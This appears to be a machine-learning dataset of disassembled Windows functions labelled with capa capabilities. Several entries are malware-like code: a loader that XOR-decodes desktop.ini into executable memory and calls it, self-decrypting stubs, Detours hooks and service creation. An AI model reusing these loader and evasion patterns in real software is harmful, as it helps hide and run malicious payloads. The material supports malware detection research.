joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001b648
push 0x10009b00
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1001d040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
lea esi, [ecx + 0x10000]
xorps xmm0, xmm0
movups xmmword [ebp - 0x38], xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 0
mov edi, 0x5a4d
push 0x1c
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100071d1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10008800
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x28], 0x1000
jne 0x1000724f
cmp byte [ebp - 0x24], 1
je 0x1000724f
test dword [ebp - 0x24], 0x100
jne 0x1000724f
mov dword [ebp - 4], 0
cmp word [esi], di
jne 0x1000720b
mov eax, dword [esi + 0x3c]
cmp eax, dword [ebp - 0x2c]
ja 0x1000720b
cmp eax, 0x40
jb 0x1000720b
cmp dword [eax + esi], 0x4550
je 0x1000721a
mov dword [ebp - 4], 0xfffffffe
mov esi, dword [ebp - 0x2c]
add esi, dword [ebp - 0x38]
jmp 0x100071a4
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x100071b5
mov esi, dword [ebp - 0x2c]
add esi, dword [ebp - 0x38]
jmp 0x100071a4
Function at 0x10007370
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001b688
push 0x10009b00
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1001d040]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, ecx
test ebx, ebx
jne 0x100073b2
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov dword [ebp - 4], 0
mov eax, 0x5a4d
cmp word [ebx], ax
je 0x100073cd
push 0xc1
jmp 0x100074c1
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
mov dword [ebp - 0x24], ecx
cmp dword [ecx], 0x4550
je 0x100073e7
push 0xbf
jmp 0x100074c1
movzx eax, word [ecx + 0x14]
test ax, ax
je 0x100074bc
lea edx, [eax + ecx]
mov dword [ebp - 0x1c], edx
lea edx, [eax + 0x18]
add edx, ecx
mov dword [ebp - 0x28], edx
xor esi, esi
mov dword [ebp - 0x20], esi
movzx eax, word [ecx + 6]
cmp esi, eax
jae 0x100074bc
lea edi, [esi + esi*4]
mov ecx, str..detour
lea eax, [edx + edi*8]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10007440
test dl, dl
je 0x1000743c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10007440
add eax, 2
add ecx, 2
test dl, dl
jne 0x10007420
xor eax, eax
jmp 0x10007445
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1000749a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + edi*8 + 0x24]
test eax, eax
je 0x100074bc
cmp dword [ecx + edi*8 + 0x28], 0
je 0x100074bc
lea esi, [eax + ebx]
mov eax, dword [esi]
cmp eax, 0x40
jb 0x100074bc
cmp dword [esi + 4], 0x727444
jne 0x100074bc
cmp dword [esi + 8], 0
jne 0x10007477
mov dword [esi + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc esi
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
jmp 0x10007404
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007d90
Capabilities:
Hook routines via microsoft detours
Resume thread

Disassembly:
push esi
call fcn.10003e70
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, eax
call fcn.10004370
sub esp, 0xc
cmp byte [0x1001e8b8], 0
jne 0x10007e53
mov edx, 0x10007cb0
mov ecx, 0x1001e83c
call fcn.100043e0
mov esi, eax
test esi, esi
je 0x10007e0d
mov ecx, str.KeyCreate
nop dword [eax]
inc ecx
cmp byte [ecx], 0
jne 0x10007dd0
cmp ecx, str.KeyCreate
jbe 0x10007ea2
mov al, byte [ecx - 1]
cmp al, 0x41
jl 0x10007ded
cmp al, 0x5a
jle 0x10007dff
cmp al, 0x61
jl 0x10007df5
cmp al, 0x7a
jle 0x10007dff
sub al, 0x30
cmp al, 9
ja 0x10007ea2
dec ecx
cmp ecx, str.KeyCreate
ja 0x10007de2
jmp 0x10007ea2
mov eax, str.KeyCreate
inc eax
cmp byte [eax], 0
jne 0x10007e12
cmp eax, str.KeyCreate
jbe 0x10007ef7
mov cl, byte [eax - 1]
cmp cl, 0x41
jl 0x10007e30
cmp cl, 0x5a
jle 0x10007e46
cmp cl, 0x61
jl 0x10007e3a
cmp cl, 0x7a
jle 0x10007e46
sub cl, 0x30
cmp cl, 9
ja 0x10007ef7
dec eax
cmp eax, str.KeyCreate
ja 0x10007e23
jmp 0x10007ef7
mov edx, 0x10007d20
mov ecx, 0x1001e838
call fcn.100043e0
mov esi, eax
test esi, esi
je 0x10007eb9
mov ecx, str.KeyCreateOld
nop dword [eax]
inc ecx
cmp byte [ecx], 0
jne 0x10007e70
cmp ecx, str.KeyCreateOld
jbe 0x10007ea2
nop
mov al, byte [ecx - 1]
cmp al, 0x41
jl 0x10007e8b
cmp al, 0x5a
jle 0x10007e99
cmp al, 0x61
jl 0x10007e93
cmp al, 0x7a
jle 0x10007e99
sub al, 0x30
cmp al, 9
ja 0x10007ea2
dec ecx
cmp ecx, str.KeyCreateOld
ja 0x10007e80
push esi
push ecx
push str.Attach_failed:___s:_error__d_n
push 0x50
call fcn.10002720
add esp, 0x10
pop esi
jmp fcn.10003f10
mov eax, str.KeyCreateOld
nop
inc eax
cmp byte [eax], 0
jne 0x10007ec0
cmp eax, str.KeyCreateOld
jbe 0x10007ef7
nop dword [eax]
mov cl, byte [eax - 1]
cmp cl, 0x41
jl 0x10007edd
cmp cl, 0x5a
jle 0x10007eef
cmp cl, 0x61
jl 0x10007ee7
cmp cl, 0x7a
jle 0x10007eef
sub cl, 0x30
cmp cl, 9
ja 0x10007ef7
dec eax
cmp eax, str.KeyCreateOld
ja 0x10007ed0
push eax
push str.Attach_successful:___s_n
push 0x60
call fcn.10002720
add esp, 0xc
pop esi
jmp fcn.10003f10
Function at 0x1000f504
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017cc0
push 0x10017cb8
push str.FlsAlloc
push 0x1e
call fcn.1000f422
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000f538
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015160]
call esi
jmp 0x1000f53e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000f582
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017cd0
push 0x10017cc8
push str.FlsGetValue
push 0x20
call fcn.1000f422
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000f5b9
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10011a81
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10011b1e
push ebx
push esi
call fcn.10011a4a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001090e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10011acb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b1d
push edi
push eax
call fcn.1000e001
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011aeb
call fcn.1000dfc7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b1c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001090e
add esp, 0x20
test eax, eax
jne 0x10011b0a
push edi
call fcn.1000dfc7
jmp 0x10011b12
push ebx
call fcn.1000dfc7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10014660
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001468d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001468d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42ec10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
or ebp, 0xffffffff
jmp 0x42ec32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42ec39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42ec28
mov eax, 1
add ebx, ebx
jne 0x42ec4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42ec40
jne 0x42ec5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ec40
xor ecx, ecx
sub eax, 3
jb 0x42ec70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42ece2
mov ebp, eax
add ebx, ebx
jne 0x42ec7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42ec88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42ecac
inc ecx
add ebx, ebx
jne 0x42ec98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42ec8d
jne 0x42eca9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42ec8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42eccc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42ecbd
jmp 0x42ec2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42eccc
add edi, ecx
jmp 0x42ec2e
pop esi
mov edi, esi
mov ecx, 0x23
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42ecea
cmp byte [edi], 0x1b
jne 0x42ecea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42ecef
lea edi, [esi + 0x2c000]
mov eax, dword [edi]
or eax, eax
je 0x42ed5e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x34d8c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x34e80]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42ed1c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x34e88]
or eax, eax
je 0x42ed58
mov dword [ebx], eax
add ebx, 4
jmp 0x42ed39
call dword [esi + 0x34e84]
mov ebp, dword [esi + 0x34e8c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42ed92
sub esp, 0xffffff80
jmp 0x4069d8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4024bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412320]
jne 0x4024c6
repz ret
jmp fcn.00403ae7

Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call fcn.00407326
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call fcn.004031c2
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call fcn.004031c2
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call fcn.00403fef
pop ecx
call sub.KERNEL32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call fcn.00406c32
test eax, eax
jge 0x4032a5
push 8
call fcn.00403fef
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call fcn.00403fef
pop ecx
push 1
call fcn.004040ae
pop ecx
test eax, eax
je 0x4032c9
push eax
call fcn.00403fef
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call fcn.0040425f
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call fcn.00584000
jmp 0x4031eb
Function at 0x4029b4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404200
test esi, esi
jne 0x4029ea
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004042f0
jmp 0x402a08
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402868
mov edi, eax
test esi, esi
je 0x402a08
cmp dword [ebx], 0
je 0x402a08
dec esi
jmp 0x4029f1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40341c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x431020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4034b4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403494
xor eax, eax
push ebp
push 0x40348d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4034d0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403494
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x431020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x431020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404084
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x433044], 0
je 0x4040e5
cmp word [0x433218], 0xd7b2
jne 0x4040ad
cmp dword [0x433220], 0
jbe 0x4040ad
mov eax, 0x433214
call dword [0x433230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x431070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40410c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x431030], 0
jne 0x404101
push 0
push 0x431068
push 0x431070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405cb0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405d16
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404470
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402eb4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405d00
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d1d
lea eax, [ebp - 0x10]
call fcn.00404200
ret

Function at 0x40a204
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a23d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004042f0
jmp 0x40a246
mov eax, ebx
mov edx, esi
call fcn.00404254
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a250
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a271
mov al, byte [esp]
jmp 0x40a273
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a8f8
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40a770
mov eax, dword [0x4321bc]
cmp byte [eax], 0
je 0x40a974
mov eax, dword [0x4320b0]
call fcn.00402d98
call fcn.00402794
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407b94
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a9bc
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a9aa
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x432088]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x433660]
call fcn.00405200
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b6e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b748
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404470
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040770c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b74f
lea eax, [ebp - 0xc]
call fcn.00404200
ret

Function at 0x41465c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x414662
ret

Function at 0x41662c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41667d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x416664
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x416654
jmp 0x41667d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x416665
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41f940
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x41f96e
mov eax, ebx
call fcn.004203f4
cmp dword [ebx + 0x40], 0
je 0x41f967
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x41f9df
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x41f9d1
cmp dword [ebx + 8], 0
je 0x41f990
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x41f9a2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x41f9d1
cmp dword [ebx + 8], 0
je 0x41f983
cmp eax, 3
je 0x41f9b5
dec eax
jne 0x41f983
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x41f983
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x41f983
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x41f9fd
cmp dword [ebx + 0x14], 0xcc
je 0x41f9fd
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0041fa08
pop ebx
ret
Function at 0x40a583
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edx
sbb eax, 0xc340c100
push esi
push edi
mov edi, dword [ebp + 8]
push 0x2f
push edi
xor dl, bl
push 0x5c
sbb dword [ebx - 0x7cb40010], ecx
invalid

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403410
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409d76
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2274
call fcn.00409cd0
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x24], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x227c], ecx
xor eax, eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x2028]
push ecx
mov ecx, dword [ebp - 0x227c]
invalid
outsb dx, byte [esi]

Function at 0x406670
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
call fcn.004088b0
test eax, eax
je 0x4066a2
mov eax, 1
jmp 0x406747
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4066c1
xor eax, eax
jmp 0x406747
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push str.RPCSS
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push 1
push 3
push 0x10
push 0xf01ff
mov edx, dword [ebp - 0x21c]
add edx, 0x230
push edx
mov eax, dword [ebp - 0x21c]
add eax, 0x230
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40672e
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x406747
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00407458
mov esp, ebp
pop ebp
ret

Function at 0x406760
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
call fcn.004088b0
test eax, eax
jne 0x40677f
mov eax, 1
jmp 0x40680a
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40679b
xor eax, eax
jmp 0x40680a
push 0x10020
mov eax, dword [ebp - 0x2c]
add eax, 0x230
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4067ca
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40680a
lea eax, [ebp - 0x28]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
